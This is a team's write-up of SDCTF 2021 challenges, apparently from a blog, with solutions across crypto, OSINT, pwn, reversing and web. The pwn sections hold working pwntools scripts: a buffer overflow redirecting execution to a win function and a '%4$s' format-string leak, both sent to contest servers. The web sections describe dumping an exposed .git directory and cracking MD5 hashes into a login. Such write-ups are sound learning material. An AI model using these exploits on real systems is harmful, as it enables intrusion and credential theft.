SDCTF 2021
crypto
Lost in transmission
Solved by : Starry-Lord
- We get a flag.dat file with gibberish inside.
- Rotating 1 right showed the flag.
A prime hash candidate
Solved by : thewhiteh4t
- We are given a hash function in this challenge which we had to reverse
- hash initializes a variable
out
- then it iterates over every character of the password given to it
- for every character it multiplies
out
by 31 - then adds the ascii value of the character to it
Reverse :
- first I defined a character set which contains :
- alphabets in both cases
- numbers
- symbols
- then I randomized the character set
- the
PASSWD
is a long integer, python has accuracy problems with long integers so I used decimal library to set precision - now we don’t know which characters were processed by the hash function, we just have the output so we need to brute force each character of the actual password
- we can get the the ascii value of the characters by using
ord()
function in python - since we are going reverse we will
subtract
the ascii value found from the target hash - in the hash function the result was being multiplied by 31, so if we have the correct character,
the result of
hash - ord(character) % 31
will be 0 because it will be fully divisible by 31. - during testing I saw that multiple characters from our character set produced 0 modulus at a certain point which hints that one password generated by our reverse function may not be correct, hence we are randomizing the character set and generating more random passwords
- so whenever the modulus is 0 we will divide the hash by 31 eventually reducing it
- when enough characters are found and hash reduces to 0 we pass the newly generated password into the hash function provided by the challenge to verify if it matches the challenge hash
- if we get a correct match we send it to the server and get our flag!
#!/usr/bin/env python3
import random
import decimal
from pwn import *
PASSWD = "59784015375233083673486266"
found = False
def hash(data):
out = 0
for c in data:
out *= 31
out += ord(c)
return str(out)
def submit(password):
host = 'phc1.sdc.tf'
port = 1337
conn = remote(host, port)
conn.send(password.encode() + '\n'.encode())
flag = conn.recvuntil('}').decode().split('\n')[2]
print(f'\n{flag}\n')
def plain(data):
global found
decimal.getcontext().prec = 100
chars = 'aAbBcCdDeEfFgGHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ1234567890@#$%^&*()_+[]/,.-+=;"'
tmp_lst = list(chars)
random.shuffle(tmp_lst)
chars = ''.join(tmp_lst)
num = 31
enc = decimal.Decimal(data).to_integral_exact()
tmp = 0
password = ''
positive = True
while positive:
for char in chars:
if tmp < 0:
positive = False
chr_int = ord(char)
tmp = enc - chr_int
rem = tmp % num
if rem == 0:
enc = decimal.Decimal(tmp / num).to_integral_exac()
password += char
password = password[::-1]
print(f'[!] Trying : {password}')
pass_hash = hash(password)
if pass_hash == PASSWD:
print('[+] Correct Password!')
submit(password)
found = True
else:
print('[-] Incorrect! Skipping...\n')
while not found:
plain(PASSWD)
misc
No flag for you
Solved By : Taz
- We found out that
ls
,cat
,echo
commands were available. - So started looking around for these.
- Found a way to list dir using echo:
echo /*
- started looking around for the flag and found it in the
/home/user/run/opt
dir
echo /home/user/run/opt/*
- Did some research on ways to read a file using echo, and got something.
- Reference link: https://stackoverflow.com/questions/22377792/how-to-use-echo-command-to-print-out-content-of-a-text-file
echo "$(</home/user/run/opt/flag-b01d7291b94feefa35e6.txt)"
Alternative Arithmetic
Solved By : Ava and choco
- After connection we are given a java questions which we have to research for and solve
Question 1 :
1. Find a nonzero long x` such that `x == -x`, enter numbers only, no semicolons
- answer for 1st question is
-9223372036854775808
- Explanation :-
The first question given is to find long x such that
x == -x
Here we will need to exploit the use of 2’s compliment of binary representation of long. example: in a 4 bit representation of 1, the binary is0001
but to represent -1, the binary will take 2’s compliment so it will be1111
The MSB here represents the sign of the binary the limitation of 2’s compliment is that, the number that has reached the minimum negative limit (i.e. the maximum 2’s compliment value), it’s positive counter part will be the same binary value as it’s two’s compliment. Let’s take the one for 4 bit representation again, the minimum value in this will be -8, i.e,1000
if you take +8 here, the binary will also be1000
So we got the concept for the answer. But now, the data type is long (8 bytes) The answer must be-9223372036854775808
Question 2 :
Find 2 different `long` variables `x` and `y`, differing by at most 10, such that `Long.hashCode(x) == Long.hashCode(y)`
- answer for 2nd question is
x = -1 & y = 0
- Explanation :-
For the second one the given algorithm for Long.hashCode() is
public static int hashCode(long value) { return (int)(value ^ (value >>> 32)); }
As we see here, the hash code for long compresses the value to an int from 64 bits to 32 bits. The hash values of positive long values are itself (hashcode of 8 is 8) The exploitation here is that negative numbers behaves different. let’s take -12. it’s binary representation is
1111111111111111111111111111111111111111111111111111111111110100
after it got shifted to the right by 32 bits it will be
0000000000000000000000000000000011111111111111111111111111111111
this value is xor with the original value giving
1111111111111111111111111111111100000000000000000000000000001011
when we convert it to int only the first 32 from LSBs are taken i.e.,
00000000000000000000000000001011
Hence, the Hash value of -12 will be 11 So
Long.hashCode(i) = i for i >=0 and (-i)-1 for i < 0
but the question is asking for x and y where
x - y <=10
Hence using the advance stages of arithmetic mathematics, we can take answers as
{0,-1},{1,-2},{2,-3},{3,-4} and {4,-5}
Courtesy of https://www.devdiaries.net/blog/Java-Recruitment-Questions-HashCode/for Hashcode algorithm.
Question 3 -
Enter a `float` value `f` that makes the following function return true
// code given along with Q3 :
boolean isLucky(float magic) {
int iter = 0;
for (float start = magic; start < (magic + 256); start++) {
if ((iter++) > 2048) {
return true;
}
}
return false;
- answer for 3rd Question is
2.14E9
- Explanation:-
The third question is a little tricky We need to find float value magic such that we need to break the loop The other catch is that it have to be less than 7 characters
The trick here is that we need to exploit the precision error in java
in java, the floating points can go upto
3.4 * 10^34
but the secret is that it will take a precision of 8 digits. i.e., if the value in decimal points is more than 8 digits. It will round them off to 8 digits itself. so for example ‘345678’ in float will be 345678.0 but if digits has reached 8 like ‘12345678
’, float will save the value as1.2345678E7
The maximum digits in float is actually 10 (1999999999) if you want to represent a number higher than that, you must make it in2.45E10
like formatnow, for the exploit, if you add any number that is negligibly small to a float value, this will not affect the float value at all. In fact, float values can only consider changes made in the first 8 most significant digits. In other words, if converted in decimal, only the first 7 digits will be considered, rest all are static Rather, it is interesting to note that the remaining digits will face binary accuracy error (when you convert some numbers to IEEE754 and back to the number, it won’t be the same. This will be addressed in the next question)
example for
123456789 + 1
it will be written as(1.23456792 + 0.00000001)*10^8
you see that one is negligent when converted to this form hence the answer will be1.23456792*10^8
(binary rep error in last digits)now if we take
123456789 + 100
it will be written as(1.23456792 + 0.00000100)*10^8
you see that 100 falls under the 8 digit range hence the answer will be1.23456892*10^8
We got the idea about the exploit. but keep in mind, we need to select a number such that incrementing it will not affect the value but adding 256 to it should So we can discard numbers that are 7 digits or less since incrementing it affects the value Also we can discard numbers that are 10 digits or above since adding 256 won’t affect the valueHence, we can only take numbers are that 8 and 9 digits long.
The question says, we can only use 7 characters or less.
We can simply represent the float value as
1.0E8
toohence, the answer is within the range of
1E8 to 9.999E9
Alternative Arithmetic (Final Flag)
Solved By : nigamelastic and choco
-
I will use the following to run this java compiler to run my code online.
-
on connecting we see the first question which is:
4th question :
Enter 3 `String` values `s1`, `s2`, and `s3` such that:
new BigDecimal(s1).add(new BigDecimal(s2)).compareTo(new BigDecimal(s3)) == 0
but
Double.parseDouble(s1) + Double.parseDouble(s2) != Double.parseDouble(s3)
Do not enter quotation marks.
- answer 4 worked but very stupidly: i will paste my inputs and outputs and you just see :
First attempt
Do not enter quotation marks.
s1 = 0.004
s2 = -0.003
s3 = 0.001
Sorry, your answer is not correct. Try something else next time.
Second attempt
s1 = 20000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000004
s2 = -10000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000003
s3 = 10000000000000000000000000000000000000000000000.0000000000000000000000000000000000000000001
Sorry, your answer is not correct. Try something else next time.
Third attempt
s1 = 0.04
s2 = -0.03
s3 = 0.01
Perfect! You are correct.
-
credits to choco, who guided me, and after our discussion we realised for some reason
0.04
is working but0.004
isn’t choco also pointed out this amazing link https://docs.oracle.com/cd/E19957-01/806-3568/ncg_goldberg.html -
finally we discussed and realized the following :
-
according to double : ```bash 0.003 will be represented as 3.00000000000000006245004513517E-3 0.004 will be represented as 4.00000000000000008326672684689E-3 0.02 will be represented as 2.00000000000000004163336342344E-2
but
0.03 will be represented 2.99999999999999988897769753748E-2
* after this stupidity we finally get the 5th and final option:
- Final question! [🎶BOSS MUSIC🎶]
Fill in
```java
var i = (<type>) <num1>; var j = (<type>) <num2>;
such that after running the code above, the following expression:
i < j || i == j || i > j
evaluates to `false`.
<num1> and <num2> are Java code that satisfies this regex: [0-9]*\.?[0-9]*
- which is very easy , I remember it from my college days
- its
Integer 128
- this is due to the integer cache limits
- the following link would be a better explanation
- https://www.programmersought.com/article/91462031238/
OSINT
Speed-Studying
Solved By : Taz
- searched: UCSD faculty CSE ( https://cse.ucsd.edu/faculty-research )
- UCSD faculty mathematics ( https://www.math.ucsd.edu/people/faculty/ )
-
- in the CSE got into Algorithm, cryptography etc as it’s most linked to math and got
- https://cstheory.ucsd.edu/faculty.html
-
now looked for the common name in both and came across this profile: https://www.math.ucsd.edu/people/profiles/daniel-kane/
- Description here confirmed our target.
FLAG: Daniel Kane
hIDe and seek
Solved By : Taz
- we are given two locations :
First : ?v=hqXOIZtRYZU
- it looks like part of a youtube link
- link: https://www.youtube.com/watch?v=hqXOIZtRYZU
- here he dictates the 1st part of the flag.
Second : qFHIm0c.jpeg
- it’s an image so I first looked into the most used online image sharing platform imgur
- Link: https://i.imgur.com/qFHIm0c.jpeg
- here we have the 2nd part of the flag.
sdctf{W0w_1_h4D_n0_ID3a!}
hIDe and seek 2
Solved By : Ava and nigamelastic
- I’ve gotten some more good intel. Apparently, the following information is the location of another flag!
First piece of info : gg/4KcDWnUYMs
Second piece of info : 810237829564727312-810359639975526490
- the first piece is obviously discord:
- on opening the channel we see
sdctf{m@st3R_h@Ck3R_9999}
- which seems to be flag format, I am guessing that starts with 1 till 9999.
Rabbit Hole
The second part is obviously a unix time stamp:
810237829564727312 is Mon 4 September 1995 18:03:49.564 UTC
and
810359639975526490 is Wed 6 September 1995 03:53:59.975 UTC
-
my guess was to check the chats between the times mentioned, but they aren’t matching
-
sdctf{m@st3R_h@Ck3R_1995}
–> randomly tried its incorrect -
however thanks to Ava we found it was a rabbit hole! below is the correct way to solve it.
- The numbers actually specify the discord links
-
usually the discord message links are something like this : https://discord.com/channels/675369276403744776/782835136654737429/840472812690210826
- there are three numbers, i am just taking guess :
- first number is for server
- second seems for the channel
- third seems for message
- we copy link for any message from the server we found and replace the last two numbers with the one given to us in the challenge
- https://discord.com/channels/810237829564727308/810237829564727312/810359639975526490
- boom, we get the right message
sdctf{m@st3R_h@Ck3R_4807}
This flag has been stolen:
Solved By : nigamelastic
- the flag is here : https://web.archive.org/web/20210130094941/https://sdc.tf/
Speed-Studying 2 :
Solved By : Ava
- Simply googling for
skyline problem ucsd
-
we get this link for PDF : https://cseweb.ucsd.edu/~dakane/CSE101%20Problem%20Archive/F18/Homework3.pdf
- at the bottom we have our flag
sdctf{N1ce_d0rKiNG_C@pt41N}
pwn
Flag Dropper
Solved by Taz and thewhiteh4t
- After loading the binary in
GDB
we can list the functionsinfo functions
- here we can see that we have a
win
function - win function disassembled :
gdb-peda$ disas win
Dump of assembler code for function win:
0x00000000004005da <+0>: mov eax,0x0
0x00000000004005df <+5>: lea rsi,ds:0x60109d
0x00000000004005e7 <+13>: lea rdi,ds:0x601094
0x00000000004005ef <+21>: call 0x400440 <fopen@plt>
0x00000000004005f4 <+26>: mov rdx,rax
0x00000000004005f7 <+29>: mov eax,0x0
0x00000000004005fc <+34>: movabs rdi,0x601124
0x0000000000400606 <+44>: mov esi,0x16
0x000000000040060b <+49>: call 0x400430 <fgets@plt>
0x0000000000400610 <+54>: mov edi,0x1
0x0000000000400615 <+59>: mov eax,0x1
0x000000000040061a <+64>: mov edx,0x16
0x000000000040061f <+69>: syscall
0x0000000000400621 <+71>: jmp 0x4005d0 <_exit>
0x0000000000400623 <+73>: nop WORD PTR cs:[rax+rax*1+0x0]
0x000000000040062d <+83>: nop DWORD PTR [rax]
End of assembler dump.
- it is opening and reading some file
- now lets run the binary in GDB with a breakpoint in main
- after some instructions we can see flag.txt
- I created a file named flag.txt with a fake flag inside it
- now I tried to execute the
win
function I found earlier
- great so win function is opening flag.txt and printing the flag
- now I looked for something which can execute the win function
- we can see in the
code
section :
<main+142>: jmp QWORD PTR [rax]
-
jmp
is used for changing the flow of the programing , that means if we can provide the start address ofwin
function tojmp
it will execute it for us -
I found the offset at
73
- Now lets find the start address of
win
function
gdb-peda$ print win
$1 = {<text variable, no debug info>} 0x4005da <win>
- Testing the offset in GDB :
# Payload
python -c "print('A' * 73 + 'BBBBBBBB')"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
-
we have a small problem here, it seems like one of the A is extra so the offset should be 72 instead of 73
-
Testing the new offset using pwntools with start address of
win
function :
#!usr/bin/env python3
from pwn import *
offset = 72
addr = 0x4005da # Start address of win function
junk = b'A' * 72
le_num = p64(addr) # converted to little endian
buffer = junk + le_num
elf = ELF('./flagDropper')
p = elf.process()
p.send(buffer)
out = p.recvall()
print(out)
- the script above runs the binary locally and sends our payload, here is the output :
- It works!, now I created a new script to send the payload on the server
#!/usr/bin/env python3
from pwn import *
host = 'dropper.sdc.tf'
port = 1337
offset = 72
addr = 0x4005da # address of win function
junk = b'A' * offset
le_num = p64(addr)
buffer = junk + le_num
conn = remote(host, port)
conn.send(buffer)
flag = conn.recvuntil('}').decode()
print(f'\nFLAG : {flag}\n')
conn.close()
OUTPUT :
printFailed
Solved By : thewhiteh4t
- Right from the start we get a segfault on this binary
./printFailed
zsh: segmentation fault (core dumped) ./printFailed
- Let’s investigate in GDB
- It’s trying to open flag.txt but it does not exist, I created the file and relaunched the binary and it works now
./printFailed
can you guess the scrambled flag?
yes
you guessed:
yes
wrong
- It prints the input, let’s look into GDB again
- A scramble function is called soon after the file is read
- Here we can see the scrambled flag :
"tedug|g5l4`gm5h~\v", '\001' <repeats 22 times>
- this looks familiar
tedug|g5l4`gm5h~\v
sdctf{f4k3_fl4g}
- so the input is shifted by 1 character!
- let’s try to input the scrambled flag in the local binary
#!/usr/bin/env python3
from pwn import *
elf = ELF('./printFailed')
guess = b'tedug|g5l4`gm5h~\v' + b'\001' * 22
p = elf.process()
p.send(guess)
out = p.recv(4096)
print(out)
- the scrambled flag works!
- but now the issue is that we don’t know the actual flag so we cannot make a scrambled flag
- earlier we saw that the binary prints the input, this hints at
format string exploit
- this article helped a lot in figuring out the way forward
- https://nikhilh20.medium.com/format-string-exploit-ccefad8fd66b
- https://man7.org/linux/man-pages/man3/printf.3.html
%s -> string
%2$s -> 2nd argument
%3$s -> 3rd argument
- I tried them one by one and
%4$s
leaks the scrambled flag!
- Here is the final script and output :
#!/usr/bin/env python3
from pwn import *
host = 'printf.sdc.tf'
port = 1337
payload = b'%4$s'
conn = remote(host, port)
conn.send(payload + b'\n')
res = conn.recv(4096).decode().split('\n')[2]
conn.close()
print(res)
for char in res:
print(chr(ord(char) - 1), end='')
OUTPUT :
revenge
A bowl of pythons
Solved by : thewhiteh4t
- In this challenge we just had to understand what the code is doing and make a reverse function for it
- our flag is in this line of code :
if __name__ == "__main__":
e(b't2q}*\x7f&n[5V\xb42a\x7f3\xac\x87\xe6\xb4')
- there are two conditions in function
e
:- first condition checks if the first 6 characters of the input are
sdctf{
or not - second condition checks if the last character is
}
- first condition checks if the first 6 characters of the input are
- then
e
function stores the content inside{}
in a variableg
- then a XOR operation is performed on each character present in
g
- the reverse of XOR is XOR
- so I just created a
solve
function to perform XOR on the encoded flag string
#! /usr/bin/env python3
FLAG = 'sdctf{a_v3ry_s3cur3_w4y_t0_st0r3_ur_FLAG}' # lol
a = lambda n: a(n-2) + a(n-1) if n >= 2 else (2 if n == 0 else 1)
b = lambda x: bytes.fromhex(x).decode()
h = eval(b('7072696e74')) # print
def d():
print('Incorrect flag! You need to hack deeper...')
eval(__import__("sys").exit(1))
h(FLAG)
def e(f):
h("Welcome to SDCTF's the first Reverse Engineering challenge.")
c = input("Input the correct flag: ")
if c[:6].encode().hex() != '{2}3{0}{1}{0}3{2}{1}{0}{0}{2}b'.format(*map(str, [6, 4, 7])): # check if matches sdctf{
d()
if c[int(chr(45) + chr(49))] != chr(125): #check if ends with }
d()
g = c[6:-1].encode() # content inside {}
if bytes( (g[i] ^ (a(i) & 0xff) for i in range(len(g))) ) != f:
d()
print('Nice job. You got the correct flag!')
def solve(f):
flag = ''
for i in range(len(f)):
res = f[i] ^ (a(i) & 0xff)
char = chr(res)
flag += char
print(flag)
if __name__ == "__main__":
#e(b't2q}*\x7f&n[5V\xb42a\x7f3\xac\x87\xe6\xb4')
solve(b't2q}*\x7f&n[5V\xb42a\x7f3\xac\x87\xe6\xb4')
else:
eval(__import__("sys").exit(0))
OUTPUT :
v3ry-t4sty-sph4g3tt1
web
Apollo 1337
Solved By : Nigamelastic and thewhiteh4t
-
On view the page source we find something interesting:
<script id="__NEXT_DATA__" type="application/json">
{
"props": {"pageProps":{}},
"page":"/",
"query":{},
"buildId":"QQvgkUHNyaIn68Led0yAi",
"nextExport":true,
"autoExport":true,
"isFallback":false
}
</script>
- on performing a GET request with :
{
"GET":{
"scheme":"https",
"host":"space.sdc.tf",
"filename":"/api/status",
"remote":{
"Address":"172.67.178.219:443"
}
}
}
- we get a response
{
"status":"health",
"longStatus":"Healthy. All routes are functioning properly.",
"version":"1.0.0"
}
- only playing around i see three endpoints
{
"status":"health",
"longStatus":"Healthy. All routes are functioning properly.",
"version":"1.0.0",
"routes":[
{
"path":"/status",
"status":"healthy"
},
{
"path":"/rocketLaunch",
"status":"healthy"
},
{
"path":"/fuel",
"status":"healthy"
}
]
}
- hitting the
/fuel
endpoint we get
[
{
"name":"west1 pump",
"id":0
},
{
"name":"east1 pump",
"id":1
},
{
"name":"south1 pump",
"id":2
},
{
"name":"north1 pump",
"id":3
},
{
"name":"west2 pump",
"id":4
},
{
"name":"lil pump",
"id":5
}
]
- hitting
/rocketLaunch
with a simple GET request
request body must be json
- But since we have to launch the rocket we can assume that we need to POST something to the endpoint
- One of the first few things that come to mind is the launch keyword
- we know that endpoint expects a JSON body
- we first sent :
{
"launch":true
}
- we get the above response, lets specify a random rocket name since we dont know the rocket name
- endpoint tell us that triton is available
- now we need a launch time but we don’t know what format it expects so we tried to make it tell us again
- after sending time in correct format we get this
- we can get a list of pumps and their IDs from /fuel endpoint
- interesting, now it wants a token, so we looked into the page source, we did not find anything so we started looking into the JS files of the web app and we found the token
- after sending the token we get our flag!
GETS Request
Solved By : thewhiteh4t
- The challenge hints at memory issues
- we can enter an integer and the web app sends a reply
- there are few checks which the web app makes:
if(!req.query.n) {
res.status(400).send('Missing required parameter n');
return;
}
- so
n
cannot be blank
const BUFFER_SIZE = 8;
if(req.query.n.length > BUFFER_SIZE) {
res.status(400).send('Requested n too large!');
return;
}
- so max length of
n
can be8
- the web app does not check for duplicate parameters, so we can send another n along with the first
Git Good
Solved By : thewhiteh4t
- Robots reveal an
admin
page and.git
directory
- I used a very useful tool which helps to dump file contents of websites which use GIT version control system
-
https://github.com/internetwache/GitTools
.git
directory dumped :
- now we can use extractor to get files from the dump
- I found 2
users.db
files, both are sqlite3 databases - one contains
bcrypt
hashes and other one containsmd5
hashes - I cracked md5 hashes first because they take less time
- one valid credential found :
aaron@cgau.sdc.tf : weakpassword
- login on
admin.html
and we get the flag